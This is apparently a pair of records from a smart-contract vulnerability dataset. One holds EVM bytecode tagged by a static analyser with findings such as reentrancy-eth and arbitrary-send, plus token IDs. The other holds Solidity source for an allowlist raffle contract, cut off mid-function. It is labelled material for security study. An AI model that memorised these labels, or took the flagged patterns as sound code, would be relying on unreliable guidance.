26004016103b190613d3e565b61271085106120fb5760405162461bcd60e51b81526004016103b190613c62565b6121268989600081811061210b57fe5b90506020020160208101906121209190613492565b8c612475565b6000612172338e8c8c600081811061213a57fe5b905060200201602081019061214f9190613492565b8f60008c600281111561215e57fe5b1461216a57600061216c565b8a5b8a6124e0565b90506000600188600281111561218457fe5b1461218f5788612191565b305b90508d6001600160a01b03166368aa6dd96040518060e001604052808581526020018f81526020018e8e808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152505050908252506001600160a01b038516602082015260400160028c600281111561220f57fe5b1461221b57600061221d565b8a5b8152602001896001600160a01b0316815260200188888080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050509152506040516001600160e01b031960e084901b16815261228a9190600401613df6565b602060405180830381600087803b1580156122a457600080fd5b505af11580156122b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122dc919061373f565b9250600190508760028111156122ee57fe5b14156123295761232630898c8c600019810181811061230957fe5b905060200201602081019061231e9190613492565b858a8a6124e0565b91505b8a8210156123495760405162461bcd60e51b81526004016103b190613c99565b509b9a5050505050505050505050565b806123635761241e565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561240a576000836001600160a01b0316826040516123a1906138fa565b60006040518083038185875af1925050503d80600081146123de576040519150601f19603f3d011682016040523d82523d6000602084013e6123e3565b606091505b50509050806124045760405162461bcd60e51b81526004016103b190613dac565b5061241e565b61241e6001600160a01b0383168483612423565b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261241e908490612ea9565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156124be578034146124b95760405162461bcd60e51b81526004016103b190613b4f565b6124dc565b34156124dc5760405162461bcd60e51b81526004016103b190613cd0565b5050565b6000806124f96127106124f38787612f5a565b90612fb3565b905060006125078683612033565b9050866001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156125b4576000896001600160a01b031683604051612548906138fa565b60006040518083038185875af1925050503d8060008114612585576040519150601f19603f3d011682016040523d82523d6000602084013e61258a565b606091505b50509050806125ab5760405162461bcd60e51b81526004016103b190613dac565b82945050612718565b6040516370a0823160e01b81526000906001600160a01b038316906370a08231906125e3908d90600401613906565b60206040518083038186803b1580156125fb57600080fd5b505afa15801561260f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612633919061373f565b90506001600160a01b038b16301461267a5761265a6001600160a01b0383168c8c86611fd3565b8315612675576126756001600160a01b0383168c3087611fd3565b61268e565b61268e6001600160a01b0383168b85612423565b61271481836001600160a01b03166370a082318d6040518263ffffffff1660e01b81526004016126be9190613906565b60206040518083038186803b1580156126d657600080fd5b505afa1580156126ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061270e919061373f565b90612033565b9450505b61272385828561301a565b5050509695505050505050565b8015806127b6575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561278857600080fd5b505afa15801561279c573d6000803e3d6000fd5b505050506040513d60208110156127b257600080fd5b5051155b6127f15760405162461bcd60e51b815260040180806020018281038252603681526020018061406c6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261241e908490612ea9565b600061284e826130a2565b9050801561285b57612903565b506001600160a01b0381166000908152602081905260409020548061290357816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156128b357600080fd5b505afa1580156128c7573d6000803e3d6000fd5b505050506040513d60208110156128dd57600080fd5b50516001600160a01b038316600090815260208190526040902060ff9091169081905590505b919050565b60008160405160200161291b91906138de565b604051602081830303815290604052805190602001208360405160200161294291906138de565b6040516020818303038152906040528051906020012014905092915050565b6000806012905073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0316836020015160008151811061299757fe5b60200260200101516001600160a01b031614612a395782602001516000815181106129be57fe5b60200260200101516001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156129fe57600080fd5b505afa158015612a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a36919061377b565b90505b60038160ff161115612a4a57600219015b60ff8116600a0a91506000805b600a811015612b3957604080516080810182528581526020878101519082015286820151818301526060808801519082015290516343bea4b360e01b81526001600160a01b038816916343bea4b391612ab39190600401613de3565b60206040518083038186803b158015612acb57600080fd5b505afa925050508015612afb575060408051601f3d908101601f19168201909252612af89181019061373f565b60015b612b0457612b28565b8015612b265784818760000151870281612b1a57fe5b0495509250612b319050565b505b60028483010493505b600101612a57565b50604080516080810182528481526020868101519082015285820151818301526060808701519082015290516343bea4b360e01b81526000916001600160a01b038816916343bea4b391612b8f91600401613de3565b60206040518083038186803b158015612ba757600080fd5b505afa158015612bbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bdf919061373f565b905060008560000151821115612bf9575084518103612c00565b5084518190035b8551601490048110612c245760405162461bcd60e51b81526004016103b190613d75565b5050505092915050565b6000612c39826130a2565b90508015612c4657612903565b506001600160a01b0381166000908152602081905260409020548061290357816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612c9e57600080fd5b505afa158015612cb2573d6000803e3d6000fd5b505050506040513d6020811015612cc857600080fd5b505160ff16611fcd565b60006b204fce5e3e25026110000000851115612d35576040805162461bcd60e51b815260206004820152601360248201527f737263416d6f756e74203e204d41585f51545900000000000000000000000000604482015290519081900360640190fd5b6b204fce5e3e25026110000000841115612d96576040805162461bcd60e51b815260206004820152601460248201527f64657374416d6f756e74203e204d41585f515459000000000000000000000000604482015290519081900360640190fd5b828210612e175760128383031115612df5576040805162461bcd60e51b815260206004820152601860248201527f647374202d20737263203e204d41585f444543494d414c530000000000000000604482015290519081900360640190fd5b84838303600a0a02670de0b6b3a7640000850281612e0f57fe5b049050612e89565b60128284031115612e6f576040805162461bcd60e51b815260206004820152601860248201527f737263202d20647374203e204d41585f444543494d414c530000000000000000604482015290519081900360640190fd5b84828403600a0a670de0b6b3a764000086020281612e0f57fe5b949350505050565b60009081526001919091016020526040902054151590565b6000612efe826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166131ba9092919063ffffffff16565b80519091501561241e57808060200190516020811015612f1d57600080fd5b505161241e5760405162461bcd60e51b815260040180806020018281038252602a815260200180614042602a913960400191505060405180910390fd5b600082612f6957506000611fcd565b82820282848281612f7657fe5b0414611fca5760405162461bcd60e51b81526004018080602001828103825260218152602001806140216021913960400191505060405180910390fd5b6000808211613009576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161301257fe5b049392505050565b801561241e5761302b600584611fb5565b6130475760405162461bcd60e51b81526004016103b190613bf4565b6001600160a01b0380841660009081526004602090815260408083209386168352929052205461307790826131d3565b6001600160a01b03808516600090815260046020908152604080832093871683529290522055505050565b60006001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156130d157506012612903565b6001600160a01b03821673dac17f958d2ee523a2206206994597c13d831ec714156130fe57506006612903565b6001600160a01b038216736b175474e89094c44da98b954eedeac495271d0f141561312b57506012612903565b6001600160a01b03821673a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48141561315857506006612903565b6001600160a01b038216732260fac5e5542a773aa44fbcfedf7c193bc2c599141561318557506008612903565b6001600160a01b03821673dd974d5c2e2928dea5f71b9825b8b646686bd20014156131b257506012612903565b506000612903565b60606131c9848460008561322d565b90505b9392505050565b600082820183811015611fca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60608247101561326e5760405162461bcd60e51b8152600401808060200182810382526026815260200180613ffb6026913960400191505060405180910390fd5b61327785613388565b6132c8576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106133065780518252601f1990920191602091820191016132e7565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613368576040519150601f19603f3d011682016040523d82523d6000602084013e61336d565b606091505b509150915061337d82828661338e565b979650505050505050565b3b151590565b6060831561339d5750816131cc565b8251156133ad5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133f75781810151838201526020016133df565b50505050905090810190601f1680156134245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b60008083601f840112613443578182fd5b50813567ffffffffffffffff81111561345a578182fd5b602083019150836020808302850101111561347457600080fd5b9250929050565b600060c0828403121561348c578081fd5b50919050565b6000602082840312156134a3578081fd5b8135611fca81613fe2565b6000602082840312156134bf578081fd5b8151611fca81613fe2565b600080604083850312156134dc578081fd5b82356134e781613fe2565b915060208301356134f781613fe2565b809150509250929050565b60008060008060408587031215613517578182fd5b843567ffffffffffffffff8082111561352e578384fd5b61353a88838901613432565b90965094506020870135915080821115613552578384fd5b5061355f87828801613432565b95989497509550505050565b600080600080600060608688031215613582578081fd5b853567ffffffffffffffff80821115613599578283fd5b6135a589838a01613432565b909750955060208801359150808211156135bd578283fd5b506135ca88828901613432565b909450925050604086013580151581146135e2578182fd5b809150509295509295909350565b600080600060608486031215613604578283fd5b833561360f81613fe2565b925060208401359150604084013561362681613fe2565b809150509250925092565b600060208284031215613642578081fd5b813560038110611fca578182fd5b600060208284031215613661578081fd5b813567ffffffffffffffff811115613677578182fd5b612e898482850161347b565b600060208284031215613694578081fd5b813567ffffffffffffffff8111156136aa578182fd5b82016101208185031215611fca578182fd5b6000602082840312156136cd578081fd5b813567ffffffffffffffff8111156136e3578182fd5b82016101408185031215611fca578182fd5b600060208284031215613706578081fd5b813567ffffffffffffffff81111561371c578182fd5b82016101008185031215611fca578182fd5b60006080828403121561348c578081fd5b600060208284031215613750578081fd5b5051919050565b60008060408385031215613769578182fd5b8235915060208301356134f781613fe2565b60006020828403121561378c578081fd5b815160ff81168114611fca578182fd5b60008284526020808501945082825b858110156137d95781356137be81613fe2565b6001600160a01b0316875295820195908201906001016137ab565b509495945050505050565b6000815180845260208085019450808401835b838110156137d95781516001600160a01b0316875295820195908201906001016137f7565b60008284526020808501945082825b858110156137d957813561383e81613fe2565b6001600160a01b03168752958201959082019060010161382b565b60008151808452613871816020860160208601613f0b565b601f01601f19169290920160200192915050565b6003811061388f57fe5b9052565b6000815183526020820151608060208501526138b260808501826137e4565b905060408301516040850152606083015184820360608601526138d58282613859565b95945050505050565b600082516138f0818460208701613f0b565b9190910192915050565b90565b90815260200190565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0394851681529290931660208301526040820152606081019190915260800190565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a0608083015261337d60a0830184613859565b6001600160a01b0392831681529116602082015260400190565b6000606082526139cd60608301878961379c565b82810360208401526139e081868861381c565b9150506001600160a01b03831660408301529695505050505050565b600060c08252613a1060c08301898b61379c565b9050866020830152856040830152613a2b6060830186613885565b8360808301526001600160a01b03831660a083015298975050505050505050565b600060e08252613a6060e083018a8c61379c565b9050876020830152866040830152856060830152613a816080830186613885565b8360a08301526001600160a01b03831660c08301529998505050505050505050565b600060608252613ab760608301878961381c565b8281036020840152613aca81868861379c565b91505082151560408301529695505050505050565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b600060208252611fca6020830184613859565b60208082526013908201527f756e737570706f72746564206c656e64696e6700000000000000000000000000604082015260600190565b6020808252600f908201527f77726f6e67206d73672076616c75650000000000000000000000000000000000604082015260600190565b60208082526010908201527f756e737570706f72746564207377617000000000000000000000000000000000604082015260600190565b60208082526011908201527f756e737570706f7274656420746f6b656e000000000000000000000000000000604082015260600190565b60208082526014908201527f756e737570706f7274656420706c6174666f726d000000000000000000000000604082015260600190565b6020808252600f908201527f6c6f77207061696420616d6f756e740000000000000000000000000000000000604082015260600190565b60208082526011908201527f6869676820706c6174666f726d20666565000000000000000000000000000000604082015260600190565b6020808252600a908201527f6c6f772072657475726e00000000000000000000000000000000000000000000604082015260600190565b6020808252600d908201527f626164206d73672076616c756500000000000000000000000000000000000000604082015260600190565b60208082526013908201527f6c6f772072657475726e656420616d6f756e7400000000000000000000000000604082015260600190565b60208082526011908201527f696e76616c696420747261646550617468000000000000000000000000000000604082015260600190565b60208082526016908201527f6765744578706563746564496e5f6e6f526573756c7400000000000000000000604082015260600190565b6020808252600f908201527f7472616e73666572206661696c65640000000000000000000000000000000000604082015260600190565b600060208252611fca6020830184613893565b6000602082528251602083015260208301516040830152604083015160e06060840152613e276101008401826137e4565b905060608401516001600160a01b038082166080860152608086015160a08601528060a08701511660c0860152505060c0840151601f198483030160e08501526138d58282613859565b918252602082015260400190565b6000808335601e19843603018112613e95578283fd5b83018035915067ffffffffffffffff821115613eaf578283fd5b602090810192508102360382131561347457600080fd5b6000808335601e19843603018112613edc578283fd5b83018035915067ffffffffffffffff821115613ef6578283fd5b60200191503681900382131561347457600080fd5b60005b83811015613f26578181015183820152602001613f0e565b8381111561202d5750506000910152565b60e01c90565b600060443d1015613f4d576138fa565b600481823e6308c379a0613f618251613f37565b14613f6b576138fa565b6040513d600319016004823e80513d67ffffffffffffffff8160248401118184111715613f9b57505050506138fa565b82840192508251915080821115613fb557505050506138fa565b503d83016020828401011115613fcd575050506138fa565b601f01601f1916810160200160405291505090565b6001600160a01b0381168114613ff757600080fd5b5056fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a164736f6c6343000706000a
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 3401, 2278, 23499, 11057, 2692, 22275, 2278, 2575, 2475, 2094, 2487, 2050, 26224, 2094, 2620, 2620, 2497, 16086, 2575, 11387, 2050, 18139, 2683, 2278, 18827, 2487, 2546, 22275, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 10975, 8490, 2863, 11113, 11261, 4063, 1058, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4372, 17897, 16670, 13462, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 18712, 5677, 1012, 2897, 1013, 21183, 12146, 1011, 8040, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,846
0x95cefb3bb8657800e18fb991de8c0a587e4a5281
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "../Augminted/AllowlistRaffleBase.sol"; interface IKaiju is IERC721 {} interface IRWaste { function burn(address user, uint256 amount) external; } contract AllowlistRaffle is AllowlistRaffleBase { uint256 public constant OWNER_MULTIPLIER = 2; IKaiju public immutable KAIJU; IRWaste public immutable RWASTE; uint256 public fee; constructor( uint256 _fee, IKaiju kaiju, IRWaste rwaste, uint256 numberOfWinners, uint256 maxUniqueEntrants, uint256 maxEntriesPerEntrant, uint256 maxTotalEntries, address vrfCoordinator ) AllowlistRaffleBase( numberOfWinners, maxUniqueEntrants, maxEntriesPerEntrant, maxTotalEntries, vrfCoordinator ) { fee = _fee; KAIJU = kaiju; RWASTE = rwaste; } /** * @notice Set fee to purchase a single raffle entry * @param _fee Cost of a raffle entry */ function setFee(uint256 _fee) public onlyOwner { fee = _fee; } /** * @notice Check if an address owns a KAIJU * @param user Address to check the owner status of * @return bool Flag indicating if user owns a KAIJU */ function ownsKaiju(address user) private view returns (bool) { return KAIJU.balanceOf(user) > 0; } /** * @inheritdoc AllowlistRaffleBase */ function enter(uint256 amount) public override payable { AllowlistRaffleBase.enter( ownsKaiju(_msgSender()) ? amount * OWNER_MULTIPLIER : amount ); } /** * @inheritdoc AllowlistRaffleBase */ function pay(uint256 amount) internal override { RWASTE.burn( _msgSender(), (ownsKaiju(_msgSender()) ? fee / OWNER_MULTIPLIER : fee) * amount ); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Address.sol"; error AlreadyDrawn(); error ExceedsMaxEntriesPerEntrant(); error ExceedsTotalMaxEntries(); error MaxUniqueEntrantsReached(); error NotDrawn(); error DrawScriptNotSet(); /** * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNX0OOkxxddddddxxkOO0XNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKkdoodddooddxxkkkkkkxxddoodddooxkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMMMWXkdooooxOKNWMMMMMMMMMMMMMMMMMMMMWNKOxoooodkKWMMMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMNOooookKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkooookNMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMXkoloxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkolokXMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMNOoloONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOoloONMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMXxllkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxllxXMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMXxcl0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0ocdXMMMMMMMMMMMMMM * MMMMMMMMMMMWNxco0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKo:xNMMMMMMMMMMMM * MMMMMMMMMMWOcc0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0ccOWMMMMMMMMMM * MMMMMMMMMXd:xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx:dXWMMMMMMMM * MMMMMMMM0clKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKk0WMMMMMMMKlc0MMMMMMMM * MMMMMMWO:dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. .xWMMMMMMMNd:OWMMMMMM * MMMMMWk;xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxc' .dNMMMMMMMWx;kWMMMMM * MMMMWx;xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOo;. .oXMMMMMMMWx;xWMMMM * MMMWO;dWMMMMMMMMMMWkc:::::::::::::::::::::::::::::::::::::::::::::' cXMMMMMMMWd;OMMMM * MWMK:lNMMMMMMMMMMNo. :XMMMMMMMNl:KMMM * MMNl:XMMMMMMMMMMXc .;lONMMMMMMMMK:lNMM * MMk;xMMMMMMMMMMK: 'cxKWMMMMMMMMMMMMx;kMM * MNccNMMMMMMMMM0, .;oONMMMMMMMMMMMMMMMMNccNM * MO;dMMMMMMMMMMK; 'cxKWMMMMMMMMMMMMMMMMMMMMx;OM * Md;0MMMMMMMMMMMK: ':::::::::augminted labs, llc:::::::::oolONMMMMMMMMMMMMMMMMMMMMMMMM0;dM * Wl:NMMMMMMMMMMMMXc .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMX:lW * N:lWMMMMMMMMMMMMMNo. cNMWk:::::::::::::::ckXNMMXd:::::::::::::cOWMMMMMMMMMMMMMMMMMMMMMMMMWc:N * X:lWMMMMMMMMMMMMMMNd. .OMM0' :KMMWK; .lXMMMMMMMMMMMMMMMMMMMMMMMMMWl:X * X:lWMMMMMMMMMMMMMMMWx. lWMNl .oNMMWk' .xNMMMMMMMMMMMMMMMMMMMMMMMMMMWl:N * NccNMMMMMMMMMMMMMMMMWO' ,0MMk. 'kWMNXd. ,OWMMMMMMMMMMMMMMMMMMMMMMMMMMMNccN * Mo;KMMMMMMMMMMMMMMMMMM0, .dWMX: ;0WMKc. :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:oM * Mx;kMMMMMMMMMMMMMMMMMMMK:cXMWk. .lXMW0, .oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk;xM * MK:oWMMMMMMMMMMMMMMMMMMMNNMMWXOdoc;'. .xNWWx. .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo:KM * MWd:0MMMMMMMMMMMMMMMMMMMMMN00XNMMMWNX0kdo0WMXo. ;0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0;oWM * MMK:lWMMMMMMMMMMMMMMMMMMMMNx'.';coxO0XWMMMMK: cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo:KMM * MMWx;kMMMMMMMMMMMMMMMMMMMMMWk. ..,:coo' .dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMk;xMMM * MMMNo:KMMMMMMMMMMMMMMMMMMMMMWO' 'OWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:oWMMM * MMMMXccKMMMMMMMMMMMMMMMMMMMMMW0, :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKccXMMMM * MMMMMXccKMMMMMMMMMMMMMMMMMMMMMMK: .oXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXccXMMMMM * MMMMMMXccKMMMMMMMMMMMMMMMMMMMMMMXc .xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKclXMMMMMM * MMMMMMMNo:OWMMMMMMMMMMMMMMMMMMMMMNo. ,0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:oNMMMMMMM * MMMMMMMMWk:dNMMMMMMMMMMMMMMMMMMMMMWd. .cXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXd:kWMMMMMMMM * MMMMMMMMMMKlcOWMMMMMMMMMMMMMMMMMMMMWx' .dXNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOclKMMMMMMMMMM * MMMMMMMMMMMWkcl0WMMMMMMMMMMMMMMMMMMMWKOOOOOOOOOOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0lckWMMMMMMMMMMM * MMMMMMMMMMMMMNxco0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0ocxXMMMMMMMMMMMMM * MMMMMMMMMMMMMWMXxclONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNOlcxXMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMNklldKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdlokNMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMWKdlld0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdlldKWMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMW0doookKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkoood0WMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMWXkdoooxOKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxooodkXWMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOxooooddkO0KXNWWWMMMMMWWNXK0OxdoddooxOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkxdooddddddddddddddoodxkOKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNXXXXXXNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM * @title Base contract for allowlist raffle * @author Augminted Labs, LLC * @notice Winners are calculated deterministically off-chain using a provided script */ abstract contract AllowlistRaffleBase is Ownable, Pausable, ReentrancyGuard, VRFConsumerBaseV2 { using Address for address; struct VrfRequestConfig { bytes32 keyHash; uint64 subId; uint32 callbackGasLimit; uint16 requestConfirmations; } uint256 public immutable NUMBER_OF_WINNERS; uint256 public immutable MAX_UNIQUE_ENTRANTS; uint256 public immutable MAX_ENTRIES_PER_ENTRANT; uint256 public immutable MAX_TOTAL_ENTRIES; VrfRequestConfig public vrfRequestConfig; string public drawScriptURI; bool public drawn; uint256 public seed; uint256 public totalEntrants; uint256 public totalEntries; mapping(uint256 => address) public entrants; mapping(address => uint256) public addressEntries; VRFCoordinatorV2Interface internal immutable COORDINATOR; constructor( uint256 numberOfWinners, uint256 maxUniqueEntrants, uint256 maxEntriesPerEntrant, uint256 maxTotalEntries, address vrfCoordinator ) VRFConsumerBaseV2(vrfCoordinator) { NUMBER_OF_WINNERS = numberOfWinners; MAX_UNIQUE_ENTRANTS = maxUniqueEntrants; MAX_ENTRIES_PER_ENTRANT = maxEntriesPerEntrant; MAX_TOTAL_ENTRIES = maxTotalEntries; COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator); } /** * @notice Set configuration data for Chainlink VRF * @param _vrfRequestConfig Struct with updated configuration values */ function setVrfRequestConfig(VrfRequestConfig memory _vrfRequestConfig) public onlyOwner { vrfRequestConfig = _vrfRequestConfig; } /** * @notice Set URI for script used to determine winners * @param uri IPFS URI for determining the winners */ function setDrawScriptURI(string calldata uri) public onlyOwner { if (drawn) revert AlreadyDrawn(); drawScriptURI = uri; } /** * @notice Flip paused state to disable entry */ function flipPaused() public onlyOwner { paused() ? _unpause() : _pause(); } /** * @notice Purchase specified amount of entries into the raffle * @param amount Amount of entries to purchase */ function enter(uint256 amount) public virtual payable whenNotPaused nonReentrant { if (drawn) revert AlreadyDrawn(); if ( MAX_UNIQUE_ENTRANTS > 0 && MAX_UNIQUE_ENTRANTS == totalEntrants && addressEntries[_msgSender()] == 0 ) revert MaxUniqueEntrantsReached(); if ( MAX_TOTAL_ENTRIES > 0 && totalEntries + amount > MAX_TOTAL_ENTRIES ) revert ExceedsTotalMaxEntries(); if ( MAX_ENTRIES_PER_ENTRANT > 0 && addressEntries[_msgSender()] + amount > MAX_ENTRIES_PER_ENTRANT ) revert ExceedsMaxEntriesPerEntrant(); pay(amount); if (addressEntries[_msgSender()] == 0) { entrants[totalEntrants] = 